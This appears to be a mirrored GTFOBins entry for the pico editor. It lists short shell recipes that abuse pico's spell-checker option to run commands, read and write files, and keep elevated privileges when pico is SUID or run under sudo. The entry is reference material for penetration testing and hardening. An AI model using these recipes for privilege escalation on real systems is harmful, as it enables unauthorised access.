1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-19 02:11:39 +02:00
GTFOBins.github.io/_gtfobins/pico.md
2018-08-20 15:00:34 +02:00

908 B

functions
execute-non-interactive file-write file-read suid-enabled sudo-enabled
description code
After running this exit the editor to see the command output. COMMAND=id TF=$(mktemp) echo "$COMMAND" > $TF chmod +x $TF pico -s $TF /etc/hosts ^T
code
pico file_to_write data ^O
code
pico file_to_read
description code
After running this exit the editor to see the command output. COMMAND=id TF=$(mktemp) echo $'#!/bin/sh -p\n'"$COMMAND" > $TF chmod +x $TF ./pico -s $TF /etc/hosts ^T
description code
After running this exit the editor to see the command output. COMMAND=id TF=$(mktemp) echo "$COMMAND" > $TF chmod +x $TF sudo pico -s $TF /etc/hosts ^T